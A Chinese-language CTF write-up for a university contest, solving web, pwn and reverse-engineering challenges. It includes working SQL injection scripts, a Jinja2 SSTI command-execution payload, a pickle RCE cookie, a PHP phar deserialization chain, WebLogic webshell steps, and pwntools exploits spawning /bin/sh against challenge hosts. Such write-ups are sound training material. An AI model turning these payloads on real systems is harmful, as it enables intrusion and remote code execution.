---
# System prepended metadata

title: CUMT国庆赛WP By None

---

# CUMT国庆赛WP By None
## 1、Web
### sql1
![](https://i.imgur.com/i8xXVrQ.jpg)

使用'/**/||'1'='登录得到账户密码为Alice，123456
在information_schema.columns查表名库名和字段名得到flag位于当前数据库的flag_table_1表当中，字段名为flag
运行以下脚本获得flag
```python=
import requests
import time
baseurl='http://219.219.61.234:32769/index.php'
result=''
for i in range(4000):
    time.sleep(0)
    high = 127
    low = 32
    mid = (high + low) // 2
    while high > low:
        tmplate = {'username': 'Alice','password':''}
        tmplate['password'] ='123456\'^if((ascii(right((select/**/group_concat(flag)/**/from/**/flag_table_1),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid)
        payload=tmplate
        response = requests.post(url=baseurl,data=payload)
        if 'Alice' in response.text:
            high = mid
        else:
            low = mid + 1
        mid = (high + low)//2
    result += chr(mid-1)
    print(i, mid)
    print(result[::-1])

```
### SQL2
测试发现sleep,if,information_schema,right,left,substr,substring,空格都被ban了，
不过至少select和union都还是好的，被ban了的函数和数据库我们可以找到替代方法：
1.使用benchmark()函数替代sleep函数
2.使用正则匹配的从字符串头普匹配，结合=替代ascii(substr((select/**/...),0,1)))这种逐个获取单个字符串并判断的方法
3.使用mysql.db代替information_schema获取表名列名，字段名有没有无所谓，可以使用无列名联合注入，而且一般来说存放flag的表大多为3~4个字段，并不用尝试太多次

先通过select/**/version()查找到mysql版本为8.0.26

通过select/**/version()查找到用户名为admin

通过版本数据库查询，可以利用mysql.db查出数据库名database_name和表名table_name

得知flag在数据库flagisHere的flAg表中

由于information_schema被过滤掉了，mysql和sys库中也没找到其他记录有列名的库，所以使用无列名注入

（直接在脚本的command输入要执行的查询命令即可）
```python=
import requests
import time
#map包含了常用于储存和输出数据的字符：0~9 A~Z a~z , _ ~ @ . 空格
map=[]
for i in range(ord('0'),ord('9')):
    map.append(i)
for i in range(ord('a'),ord('z')):
    map.append(i)
for i in range(ord('A'),ord('Z')):
    map.append(i)
add=[ord('_'),ord(','),ord('~'),ord('@'),ord('.'),ord(' ')]
for i in add:
    map.append(i)
baseurl='http://219.219.61.234:54380/login.php'
temp=''
map.append(0)#0是结束位，轮到0时表示前面的字符都不合适
for i in range(100):
    for i in map:
        p1="'^(select/**/group_concat(1,2,user(),BENCHMARK(10000000,'test'))/**/from/**/mysql.db/**/where(("
        p2=")/**/regexp/**/'^{num}'))||'"
				#command="select/**/version()"
				#command="select/**/user()"
        command="select/**/(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/flagisHere.flAg)x)"
        tmplate = {'username': p1+command+p2,'password':''}
        right=temp+chr(i)#从左向右逐个探测字符
        t=right
        tmplate['username']=tmplate['username'].format(num=t)
        time1=time.time()
        response = requests.post(url=baseurl,data=tmplate)
        time2=time.time()
        print( t,'\t')
        if time2-time1>0.15:
            temp=t
            print(temp)
            break
        if i==0:
            print('end')
            a=input()
    print(temp)

```
### WEB4
同sql1
```python=
import requests,time
baseurl='http://81.69.241.44:25500/'
result=''
for i in range(4000):
    time.sleep(0)
    high = 127
    low = 32
    mid = (high + low) // 2
    while high > low:
        tmplate = {'username': 'Alice','password':''}
        #tmplate['password'] ='123456\'^if((ascii(right((select/**/group_concat(table_name,\'.\',column_name,\'|\')/**/from/**/information_schema.columns/**/where/**/(1<>(table_schema<>database()))),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid)
        tmplate['password'] = '123456\'^if((ascii(right((select/**/group_concat(flag)/**/from/**/flag_table_1),{num}))<{ascii}),0,1)^\''.format(num=i, ascii=mid)
        payload=tmplate
        response = requests.post(url=baseurl,data=payload)
        if 'good' in response.text:
            high = mid

        else:
            low = mid + 1
        mid = (high + low)//2
    result += chr(mid-1)
    print(i, mid)
    print(result[::-1])

```
### SSTi
输入{{7*7}}得到回显49，猜测为jinja2的ssti注入，使用tplmap测试确实为jinja2,不过并不能从tplmap工具直接获取命令执行权限，手工测试发现[]和__都被禁了，不过config还可以得到正常回显，通过联合利用|attr()和reques.args配合GET传参逐步
逐步探测得到以下获取popen函数并执行的过程：
config.__class__.__base__.__base__.__subclasses__().__getitem__(245).__init__.__globals__.__getitem(__builtins__).__getitem__(eval)(__import__('os')..popen('cat /flag'))

构造出以下payload获取flag
> http://219.219.61.234:48000/hello?name={{config|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)|attr(request.args.d)()|attr(request.args.e)(245)|attr(request.args.f)|attr(request.args.g)|attr(request.args.h)(request.args.i)|attr(request.args.j)(request.args.k)(request.args.l)}}&a=__class__&b=__base__&c=__base__&d=__subclasses__&e=__getitem__&f=__init__&g=__globals__&h=__getitem__&i=__builtins__&j=__getitem__&k=eval&l=__import__(%22os%22).popen(%22cat%20/flag%22).read()
### ez_upload
1.看题
进入界面得到include 'file'显然是提醒会包含file参数的文件，猜测应该是文件包含题
2.访问robots.txt
得到上传文件的地方:up10de.php
结果上传测试后发现只能上传png,jpeg,gif的图片，而且简单以GIF89a的文件马并不能蒙混过关，而且会提示函数报错，看样子是会图片渲染，失败了就直接jj，直接上传失败
3.通过上传正常文件图片，然后写入木马，这样子可以上传成功，下载图片发现虽然看起来图片渲染后无变化，但是通过010打开会发现里面的数据已经面目全非了
4.寻找数据没有被改变的区域插入一句话木马，我用的是gif图片，下载后看到写入的🐎确实还在
5.最烦的地方来了，找传参file的地方，我直接裂开，找了半天后面才知道默认首页就是传参的地方，因为之前我上传的图片在默认首页file传参后include丝毫没有一点反应是因为图片渲染失败(貌似是)就会让页面没有一点变化，后面通过删减图片数据段解除include的出错，成功getshell
6.5.图片马(下载上传即可使用post传shell参数执行命令)这个是图片马，下载可用：![](https://i.imgur.com/Hvr7BvU.gif)

### web6
（cookies+python反序列化pickle）
根据题目提示cookie，复制cookie进行base64解码看到一个cumter，而页面显示就是hello cumter，所以这就导致了见识窄的我以为是SSI或XSS漏洞，试了几个poc没反应，到网上找了一堆exp但是没一个有用的，最后在放出hint：pickle后才知道这个是pickle的python反序列化
去了解学习了pickle.loads()的反序列化过程和发序列化语句后构造payload,但是当时测试发现貌似如果发序列化后{'username':''}其中的value如果是非string根本不会有回显，不过一点小曲折过后学会了builtins.getattr()这个万金油函数后成功构造payload：
> 
POC:
(dp0
Vusername
p1
cos
popen
(Vcat /flag
tRp2
0cbuiltins
getattr
(g2
Vread
tRp3
(tRp4
s.


#base64加密后为：KGRwMApWdXNlcm5hbWUKcDEKY29zCnBvcGVuCihWY2F0IC9mbGFnCnRScDIKMGNidWlsdGlucwpnZXRhdHRyCihnMgpWcmVhZAp0UnAzCih0UnA0CnMu
burp抓包修改一下cookie即可获得flag
以下为本地测试脚本：
```python=
import pickle,base64
a='KGRwMApWdXNlcm5hbWUKcDEKY29zCnBvcGVuCihWZGlyCnRScDIKMGNidWlsdGlucwpnZXRhdHRyCihnMgpWcmVhZAp0UnAzCih0UnA0CnMu'
test=pickle.loads(base64.b64decode(a))
print(test)
print(test['username'])
```
### web5
phar文件上传
在/file.php?show=页面获取到base.php,class.php,function.php,upload.php,file.php的源码打包到source.zip中分析，显示文件的只有Show的highlight_file函数和Cloud的base64_encode(file_get_contents($this->value))以为highlight_file的flag字符串被过滤了，所以只能考虑Cloud类的file_get_contents

分析class.php可以发现能通过构造pop链触发file_get_contents函数，但是没有接口对类进行反序列化，结合文件上传的题目环境可知，应该是上传phar文件并通过phar://协议读取上传的phar文件，触发反序列化漏洞，得到poc：
```php=
<?php

// use File as GlobalFile;

// class File{
//     public $fakefile;
//     public $file;
//     public function __construct($file)
//     {
//         $this->fakefile='fake';
//         $this->file = $file='test';
//     }
//     public function __destruct()
//     {
//         $this->file=$this->fakefile;
//         echo $this->file;
//     }
// }


// class Show{
//     public $filename;
//     public function show()
//     {
//         if(preg_match('/\.\.|flag/i',$this->filename)) {
//             die('hacker!');
//         } else {
//             highlight_file($this->filename);
//         }
//     }
// }

// class Docker{
//     public $str;
//     public $container1;
//     public $container2;
//     function __toString()      
//     {          
//         if (isset($this->str))  
//             return $this->str->get_file();      
//     }  
// }


// class Cloud{
//     private $value;
//     public $docker;
//     function get_file(){
//         $this->test=unserialize($this->docker);
//         if($this->test->container1===$this->test->container1){
//             $text = base64_encode(file_get_contents($this->value));
//             return $text;
//         }
//     }
// }
//---------------------------------上面为class.php源码下面为POC-----------------------------------------------------

class File{
    public $fakefile;
    public $file;
    public function __destruct()
    {
        $this->file=$this->fakefile;
        echo $this->file;
    }
}

class Docker{
    public $str;
    public $container1;
    public $container2;
    function __toString()      
    {          
        if (isset($this->str))  
            return $this->str->get_file();      
    }  
}


class Cloud{
    private $value;
    public $docker;
    function __construct()
    {
        $this->value='/var/www/html/flag.php';//var/www/html路径可以在show.php处测试得到
    }
    function get_file(){
        $this->test=unserialize($this->docker);
        if($this->test->container1===$this->test->container1){
            $text = base64_encode(file_get_contents($this->value));
            return $text;
        }
    }
}
$file=new File();
$docker=new Docker();
$cloud=new Cloud();
$docker1=new Docker;
$docker1->container1='1';
$cloud->docker=serialize($docker1);
$docker->str=$cloud;
$file->fakefile=$docker;
echo serialize($file);
//unserialize(serialize($file));//测试输出本地的/var/www/html/flag.php文件
$phar = new Phar("1.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($file);
$phar->addFromString("test.txt", "test");
//生成签名
$phar->stopBuffering();
```
分析文件可知上传的png,jpg,jpeg,gif文件的文件名会被经过md5加密后加上.jpg然后上传到文件夹./upload/
运行上面脚本生成1.phar文件后改名为1.png后上传
访问/show.php，使用phar://伪协议加载上传的phar文件4a47a0db6e60853dedfcfdf08a5ca249.jpg(1.png结果md5重命名后的文件名)
访问/show.php?file=phar://./upload/4a47a0db6e60853dedfcfdf08a5ca249.jpg
得到flag.php的base64编码后的结果
解码得到flag
####sql2
### web7
Weblogic(weak_password)任意文件读取、口令破解、文件上传，漏洞复现，
进入题目提示读取password，然后可以进入console，到console发现是一个Oracle的weblgic登录平台，另外给了任意文件读取漏洞的入口file.jsp，到网上查找weblogic的相关漏洞信息，找到与当前题目相对吻合的漏洞复现文章：
复现过程主要包括主要包括：
利用任意文件读取漏洞获取SerializedSystemIni.dat和config/config.xml
1.直接访问/hello/file.jsp?path=security/SerializedSystemIni.dat和/hello/file.jsp?path=config/config.xml
获得密码经AES加密后的密文和加密使用的AES数据
(<node-manage-password-encrypted>标签里面的数据)
2.注意：网上直接访问下载的二进制数据会有问题，应该属于burp抓包然后保存数据到文件即可
3.到https://github.com/TideSec/Decrypt_Weblogic_Password下载解密工具
4.加载\Tools5-weblogic_decrypt里面的jar文件打开工具，选取保存的二进制文件和AES数据解密获得密码
5.部署有jsp马的war
6.访问jsp马路径，成功getshell获取根目录下存放的flag的文件
详细过程可参考[https://blog.csdn.net/cscscys/article/details/107856619](https://)

## 2、PWN
### pwn1
nc 连上 直接cat flag

### pwn2
经典栈溢出
![](https://i.imgur.com/L1HqCTN.png)

```python
from pwn import *

#r=process("./pwn2")
r=remote('1.15.81.218',10001)

p=b'a' * 72 + p64(0x400596)
r.sendline(p)

r.interactive()
```

直接传就行了...
### pwn3
开了NX保护，没开金丝雀

![](https://i.imgur.com/MvzSxml.png)


有个echo flag，感觉像是那么回事，实际上没用,

所以还是得通过system函数来搞

![](https://i.imgur.com/Sln7kL0.png)

这里s大小是0x28，所以只能溢出0x8字节，不够写太长的，但是这里可以读两次，所以思路是第一次泄露ebp地址，第二次写入system(‘/bin/sh’)，然后用leave;ret栈劫持s，执行system('/bin/sh')

要劫持s要知道s的地址，可以通过动调知道ebp到s的距离，然后计算

ebp到s的距离为0xffffc1f8 - 0xffffc1c0 = 0x38

所以ebp: 

```python
p = b'a'*0x27+b'b'
r.send(p)
r.recvuntil(b'b')
ebp = u32(r.recv(4))
```

可以得到ebp的地址，然后-0x38得到s

完整exp:

```python
from pwn import *

r=process('./pwn3')
#r=remote('1.15.81.218',10002)

sys_addr=0x8048400
leave_ret=0x08048562
main_addr=0xdeadbeef

p=b'a'*0x27+b'b'
r.send(p)
r.recvuntil(b'b')
s_addr=ebp=u32(r.recv(4))-0x38  # ebp-s=0x38
print(s_addr)

p2=b'aaaa'+p32(sys_addr)+p32(main_addr)+p32(s_addr+0x10)+b"/bin/sh"
p2=p2.ljust(0x28,b'\x00')  # /bin/sh添上\x00
p2+=p32(s_addr)+p32(leave_ret)  # hijack s
r.send(p2)

r.interactive()
```
### brute?
brute canary,暴力破解金丝雀
```python
from pwn import *
from LibcSearcher import *

#r = process('./brute')
r=remote('1.15.81.218',20000)
canary = b'\x00'
def find():
    global canary,r
    #r = process('./brute')
    r=remote('1.15.81.218',20000)
    print(r.recvuntil(b'2021!\n'))
    canary = b'\x00'
    for j in range(3):
        for i in range(0x100):
            r.send(b'a'*100 + canary + bytes(chr(i).encode()))
            a = r.recvuntil(b'2021!\n')
            if b'Successfully' in a:
                canary += bytes(chr(i).encode())
                print(canary)
                break
    if(len(canary)!=4):
        find()

find()
print(canary)

elf = ELF('./brute')
system = elf.plt['system']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x08048560
p1 = b'a' * 100 + canary +b'a'*12+ p32(puts_plt) + p32(main) + p32(puts_got)
#print(r.recvuntil(b'2021!\n'))
r.sendline(p1)

puts_addr = u32(r.recv()[0:4])
print('puts_addr:',puts_addr)
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
p2 = b'a' * 100 + canary +b'a'*12+ p32(sys_addr) +  b'a' * 4 + p32(bin_sh)
r.sendline(p2)

r.interactive()
```
爆破好慢...
CUMTCTF{5305918b-e080-4f2d-b9b1-8a6f3ed727d5
### pwn4
edit的地方有个堆溢出漏洞

l33t是后门函数，想要触发需要使位于bss的(unsigned __int64)magic > 0x1305

unsorted bin attack，修改magic的值为unsorted bin的地址，可以使magic > 0x1305

...

被坑了。。。

竟然不是这个目录。。。。。。。。。。。

然后打算修改一下system指令的字符串，发现这个字符串被存在rodata，只读

![](https://i.imgur.com/NwyMhic.png)


只能重新搞

想办法控制heaparray，

用fake chunk修改heaparray[0]为free_got的地址，然后用edit()修改free_got为system的地址

接下来就free掉一个存了 /bin/sh\x00 的chunk，这样就可以getshell了，这个可以事先创建好这样的一个chunk来实现，然后用delete_heap调用free

fake chunk的话，可以再搞两个chunk，free第一个chunk，然后修改另一个造成堆溢出来修改第一个chunk的fd指针，使其指向fake chunk

```python
from pwn import *

#r=process("./pwn4")
r=remote('1.15.81.218', 10003)
elf=ELF("./pwn4")

heaparray=0x006020E0
fake_fastbin=0x6020ad
system_addr=0x400C2C
free_got=elf.got["free"]

def create(size,content):
    r.recvuntil("Your choice :")
    r.sendline(str(1))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)
    r.recvuntil("SuccessFul")

def delete(index):
    r.recvuntil("Your choice :")
    r.sendline(str(3))
    r.recvuntil("Index :")
    r.sendline(str(index))
    r.recvuntil("Done !")

def edit(index,size,content):
    r.recvuntil("Your choice :")
    r.sendline(str(2))
    r.recvuntil("Index :")
    r.sendline(str(index))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)
    r.recvuntil("Done !")

create(0x10,b'a' * 0x10)  # idx0
create(0x10,b'a' * 0x10)  # idx1  
create(0x60,b'b' * 0x10)  # idx2 
create(0x10,b'/bin/sh\x00')  # id3 
delete(2)
edit(1,0x30,0x10 * b'a' + p64(0) + p64(0x71) + p64(0x6020ad) + p64(0))

create(0x60,b'd' * 0x10)  # idx1  
p=0x23 * b'e' + p64(free_got)
create(0x60,p)  # idx4 
edit(0,0x8,p64(0x400C2C))

r.recvuntil(b"Your choice :")
r.sendline(str(3))
r.recvuntil(b"Index :")
r.sendline(str(3))

r.interactive()
```
## 3、Reverse

### 签到
拖进IDA就能看到flag
### net

![](https://i.imgur.com/mNMiBa4.png)

.net逆向，输入主要处理函数如上，涉及到取模不好逆推，直接爆破。
```python=
a=[30361,550,595,15412,30361,15412,8346,27071,37594,37534,9781,1082,19619,9781,1082,15513,29591,19596,30078,27942,25366,29107,7433,28493,9781,29591,2664,12540]
k=[]
def dunc(a,b,c) :
    num=1
    a %= c
    while (b != 0):
        flag = b % 2 == 1
        if flag:
            num = num * a % c
        b >>= 1
        a = a * a % c
    return num
for j in range(len(a)):
    for i in range(255):
        if dunc(i,377,38009)==a[j]:
            k.append(i)
for m in k:
    print(chr((m-28)&0xff),end='')
```
### easyAPK
原本是一个有360加固的题，网上搜索能找到脱壳的方法，这里我用的BlackDEX32配合MT和NP管理器进行脱壳。
![](https://i.imgur.com/GrJeDhB.png)

不过脱壳之后用jadx没找到关键点，搜索check和Try again也没找到，不过在smail里面发现了端倪，用jeb加载一下能看到大致逻辑和后面减弱难度后的逻辑类似，但是拼的是哪个字符串看不出来=.=。
![](https://i.imgur.com/qspcuZU.png)

后面放的难度就是白给了，无壳直接找到字符串即可，最后一个在native层。
first → We1c0me
![](https://i.imgur.com/TE48zq5.png)
We1c0me_t0_easyAPK

### vm
刚开始是filter，看sys里面的代码硬看理不清逻辑，很多下标的跳转，自己也不会动调这个文件。之后换成了windos文件，逻辑看起来就比较清楚，有个switch并且有个Byte数组在内存中很整齐有点类似机器码。所以采用了vm技术，调度器和opcode都比较少，不写脚本通过静态就能分析出，开始4个是寄存器，之后根据opcode一条条执行，简化后的算法就是a+b==xxx 和 a*b=xxx的比较，解出来的顺序根据自己动调时的比较调一调即可，懒得看了。
```python=
a=[0x41, 0x10, 0x72, 0x61, 0x00, 0x00, 0x00, 0x50, 0x40, 0x20,
  0x41, 0x40, 0x04, 0xB0, 0x9F, 0x94, 0x62, 0x70, 0x61, 0x00,
  0x00, 0x00, 0x50, 0x40, 0x30, 0x01, 0x40, 0x04, 0x87, 0x4F,
  0x57, 0x94, 0x70, 0x61, 0x00, 0x00, 0x00, 0x40, 0x05, 0x19,
  0x88, 0x7D, 0x09, 0x70, 0x61, 0x00, 0x00, 0x00, 0x41, 0x23,
  0x71, 0x61, 0x00, 0x00, 0x00, 0x50, 0x42, 0x20, 0x43, 0x40,
  0x04, 0x7F, 0xBD, 0xAB, 0xA3, 0x70, 0x61, 0x00, 0x00, 0x00,
  0x50, 0x42, 0x30, 0x03, 0x40, 0x04, 0xEE, 0x5F, 0x71, 0xEF,
  0x70, 0x61, 0x00, 0x00, 0x00, 0x40, 0x05, 0xBC, 0xD3, 0x04,
  0x16, 0x70, 0x61, 0x00, 0x00, 0x00, 0xFE, 0xFF]
print((0x10>>4)%6)
print((0x10&0xf)%6)
print((0x40>>4)%6)
print((0x40&0xf)%6)

print((0x41>>4)%6)
print((0x41&0xf)%6)
print(chr(ord('0')+ord('4')))
#b[1]+b[4]==0x62949fb0
#即b[0]+b[1]=0x62949fb0

# 0x50 + 0x40 是b[4]=b[0]
#0x30 + 0x01 是 
#b[4]*b[1]= b[0]*b[1]=0x94574f87

#0x70 0x61 0x00 0x00 0x00 0x00
#进行check 如果相等就继续 不等就结束

#0x40 +0x05 后面是 第六部分的比较.
#0x19,0x88, 0x7D, 0x09

#0x41 + 0x23要求 b[2] != b[3]
print((0x42>>4)%6)
print((0x42&0xf)%6)
#0x50 + 0x42 是把第三部分赋值给第五部分

#0x20+0x43
print((0x43>>4)%6)
print((0x43&0xf)%6)
#第五部分 与 第4部分相加  b[4]+b[3]=
#之后比较 0x7F, 0xBD, 0xAB, 0xA3

#0x50 +0x42 #第三部分赋值
#0x30+0x03 是 b[4]*b[3] =
#之后比较 0xEE, 0x5F, 0x71, 0xEF    注意小端序

#0x40+0x05 是 第六部分 和 0xBC, 0xD3, 0x04,0x16比较

```
直接硬读opcode边条边读，知道0x30,0x20，0x40，0x70开头代表什么指令后就比较简单了。
```python=
from z3 import *
import gmpy2
from  Crypto.Util.number import *
a1=BitVec('a1',32)
a2=BitVec('a2',32)
a3=BitVec('a3',32)
a4=BitVec('a4',32)
s=Solver()
s.add((a1+a2)&0xffffffff==0x62949fb0)
s.add((a1*a2)&0xffffffff==0x94574f87)
s.add((a3+a4)&0xffffffff==0xa3abbd7f)
s.add((a3*a4)&0xffffffff==0xef715fee)
s.check()
print(s.model())

print(long_to_bytes(2974637891)[::-1])
print(long_to_bytes(2974236781)[::-1])
print(long_to_bytes(826689870)[::-1])
print(long_to_bytes(1919251505)[::-1])

a='4d5f43'
b='47406d'
for i in range(0x80):
  a1=hex(i).zfill(2)+a
  for j in range(0x80):
    b1=hex(i).zfill(2)+b
    c=int(a1,16)
    d=int(b1,16)
    if (c+d)&0xffffffff ==0x62949fb0 and (c*d)&0xffffffff ==0x94574f87:
        print(long_to_bytes(c)[::-1],long_to_bytes(d)[::-1])
        break
```
当时感觉乘法可能会有越界，所以直接用z3解，不过有不可见字符，最后在小范围下爆破不可见就行，做麻烦了，不想改了，以后绝对求根公式。
#flag{m@G1C_M1NIF11ter}
### pthread
运行一下，缺少pthread.dll文件，百度下载就行，之后查壳，ASPack壳，脱壳机对应版本的没找到，32位exe直接丢进OD用esp脱壳定律，如果是在XP以后的版本脱壳，基址会有所改变，OD中按m查看PE文件的基地址在dump时候改一下即可，oddump出的文件调不起来有点难受，或许要用ImportREC修复一下。
直接拖进IDA中查看源码，有很多小细节容易犯错，写在注释里了。

![](https://i.imgur.com/jTNu8YA.png)
![](https://i.imgur.com/gjUISis.png)
整体逻辑就是先异或，之后从0开始取出当前字节的1 3 5 7位(下标从0开始，从右往左)，和下一个字节的0 2 4 6位重组为一个，然后5个一组，一共5大组。
还原exp,也想到会不会线程的顺序并不是按照顺序来的，不过也就是换一下明文的顺序就好。


```python=
from itertools import permutations
enc=[0x0d,0x5b,0x5e,0x21,0x69,0x25,0x4f,0x5d,0x4d,0x3d,0x6b,0x1b,0x5a,0x17,0x43,0x32,0x68,0x38,0x5e,0x4f,0xc,0x23,0x7e,0x25,0x7c]


def decrypt(enc):
        for i in range(len(enc)):
            if i==0:
                a=bin(enc[len(enc)-1])[2:].zfill(8)[-4:]
            else:
                a=bin(enc[i-1])[2:].zfill(8)[-4:]
            b=bin(enc[i])[2:].zfill(8)[:4]
            m=''
            for j in range(4): #...开始写成i了
                  m+=b[j]+a[j]
            print(chr(int(m,2)^(i)),end='')
        #print()
cbox=[]
for i in range(len(enc)//5):
    cbox.append(enc[5*i:5*i+5])

for i in range(5):
    decrypt(cbox[i])
#Are_-Y0ur_-FeE1_-HapPY-_?
```
### ill formed
这个题是真的宝藏题目，32位程序IDA载入，一开始看不出啥逻辑，猜测是用了混淆或者是花指令，结果都不是=.=
![](https://i.imgur.com/eoZpjXV.png)
看到这里，联想到一个知识点，retf 是修改ip 和 cs的值 而在修改前push了 0x33 并且通过call押进去返回地址，然后对返回地址值加5，最后retf ，所以最终cs的值是0x33 ， 而cs=0x33也意味着接下来要以64位来解析代码，所以这是在32位程序中调用了64位程序。

想着直接修改PE文件标志文件位数的标识来拖入IDA64中分析一波，可是后来还有类似这种切换，又从64回到了32，所以IDA64中的解析也是错误的。0x10B改为0x20B
![](https://i.imgur.com/XlPFNRx.png)

参考网上的古老讲解https://www.163.com/dy/article/E8SMV14K0511FSTO.html。 IDC脚本之后会用到。
这篇文章整体意思就是要么就能让他F5反编译，在32和64位间切换，要么就是要动调起来猜测过程，=.=我都没有实现。
那就回到老本行，直接硬逆，用里面的IDC脚本dump出一段64位的程序，拖入IDA64中查看。
```c=
static main(void) { 
 auto fp, begin, end, dexbyte;
 fp = fopen("D:\111.mem", "wb");
 begin = 0x0040116C; end = 0x004012D6; 
 for ( dexbyte = begin; dexbyte < end; dexbyte ++ ) 
 fputc(Byte(dexbyte), fp); }
```
![](https://i.imgur.com/gdij9pt.png)
不要老想着F5反编译，汇编一般最接近真实的逻辑，看了眼汇编用到了64位的寄存器r8和r9，然后结合32位的代码大多是赋值操作，结合32位下的寄存器是32位，并且flag只有16字节，所以猜出是直接将flag分为4段，然后传入64位下用两个64的寄存器来存储。
![](https://i.imgur.com/Qu6HNPb.png)
这个是我直接修改pe标识在64位ida下把每个64位代码定义为函数的结果，这个反编译有错误，只需要看大致的加密结构。有点像密码学中的festil轮函数,每次只对r8寄存器和r9寄存器计算后的值异或，一共有6轮，并且每次的循环次数不一样。分析一下汇编，发现天堂之门，rbx寄存器是64位，也就是把传入的eax，ebx，ecx，edx 4个4字节变成两个8字节来处理，处理6轮，每轮的循环次数都不一样，主要就是异或和交换，尝试逆一下
![](https://i.imgur.com/7UabaKK.jpg)
exp
```python=
from Crypto.Util.number import *
eax=0x7457B95A
ebx=0xC7638E3C
ecx=0x4E66BC65
edx=0xDD0F9728

dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0xc013):
    dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff

dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x55bf):
    dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff

dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0xc109):
    dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff

dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x19e4):
    dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff

dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x7a20):
    dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff

dc = int(str(ebx)[2:] + str(eax)[2:], 16)
for i in range(0x5b24):
    dc=(dc*0x7132 + 0x139783)&0xffffffffffffffff
ba=(edx<<32)|(ecx)
ba=(dc^ba)&0xffffffffffffffff
edx,ecx=ebx,eax
ebx=ba>>32
eax=ba&0xffffffff

print(long_to_bytes(eax)[::-1].decode(),end='')
print(long_to_bytes(ebx)[::-1].decode(),end='')
print(long_to_bytes(ecx)[::-1].decode(),end='')
print(long_to_bytes(edx)[::-1].decode(),end='')
#W@y_TO_ThEHe@V3N
```
### ransomeware 
勒索病毒分析，最近挺热们的一个考点，不过学长混入了npc，模拟了小白被勒索病毒攻击，怎么帮他解决问题的过程。
有很多地方有异或的操作，所以在调之前拿到python中异或一下，看是不是明文
```python=
v11 -> Incredible! But you'll stop here 
v14 -> C:\flag.docx 
v10 -> SOFTWARE\Microsoft\Cryptography 
v12 -> 
 
v14 -> ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-

{6EDD 6D74-C007-4E75-B76A-E5740995E24C}  
E le va ti on :A dm in is tr at or !n ew :{ 3E 5F C7 F9 -9 A5 1- 43 67 -9 06 3- A1 20 24 4F BE C7 }
#在前面的一个函数感觉是要拿到权限
```
开始没有思路，感觉有啥smc或者花指令的，但并没有，并且根据这些异或的字符串拿到了很多信息，根据以往的勒索病毒，大概是在c:/创建 flag.docx 之后才能开始调，中间貌似看到了salsa20加密。
![](https://i.imgur.com/mwC9Xlc.png)

salsa20加密，搜索expand 32-byte k 就能找到
http://www.crypto-it.net/eng/symmetric/salsa20.html

确实能调起来，但是遇到dword  .data段的当函数名 。。而且值是0 ，一调就崩溃了，大概是ida的锅，毕竟用OD好好的，可以大致在ida中看清加密的结构，因为加密算法没有魔改还是流密码，所以我们只要拿到两个随机数，之后patch掉随机生成的在进行一次加密就完成了解密。

随机数可能和flag加密文件后缀的base64有关，因为base解密后是8字节，而那两个随机数正好是两个4字节，不过base也被换表了，并且有对随机数的异或处理。
![](https://i.imgur.com/Lzy1UwQ.png)
对随机数的处理，在a1字符串中每次索引一个 和 a2即传入的参数循环右移动13位后的数加起来，循环len(a1)+1次不过有个坑，‘\0’也算一次，通过OD动调了解到a1是本机的GUID码，通过自己本机测试可以现在本地恢复自己加密的文件。
```python=
import base64
from Crypto.Util.number import *

newtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-'
table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s='n8OKZcEVdSp='
m=''
for i in range(len(s)):
    m+=table[newtable.find(s[i])]
print(hex(bytes_to_long(base64.b64decode(m))))

def ror13(n):
    s=bin(n)[2:].zfill(32)
    tmp=s[-13:]+s[:-13]
    #print(hex(int(tmp,2)))
    return int(tmp,2)

key='0bebe7bc-793f-4ccf-be83-9f6b9b4de948'
n=[0]*(len(key)+1)
for i in range(len(key)):
    n[i+1]=(ord(key[i])+ror13(n[i]))&0xffffffff
print(hex(ror13(n[-1])))

k=[0]*(len(key)+1)
k[0]=0x15dca90b      #第一个随机数
for i in range(len(key)):
    k[i+1]=(ord(key[i])+ror13(k[i]))&0xffffffff
#for i in k:
#    print(hex(i))
print(hex(ror13(k[-1]))) #最后一步还有操作
```
本地是可以打通的，但要想解该题的话，核心就是拿到出题人在生成文件时的随机数，我们知道随机数的生成过程，所以只要只要知道出题人的MachineGuid码即可，学长为了模拟真实场景，中间插个啥也不会的NPC就很有趣。
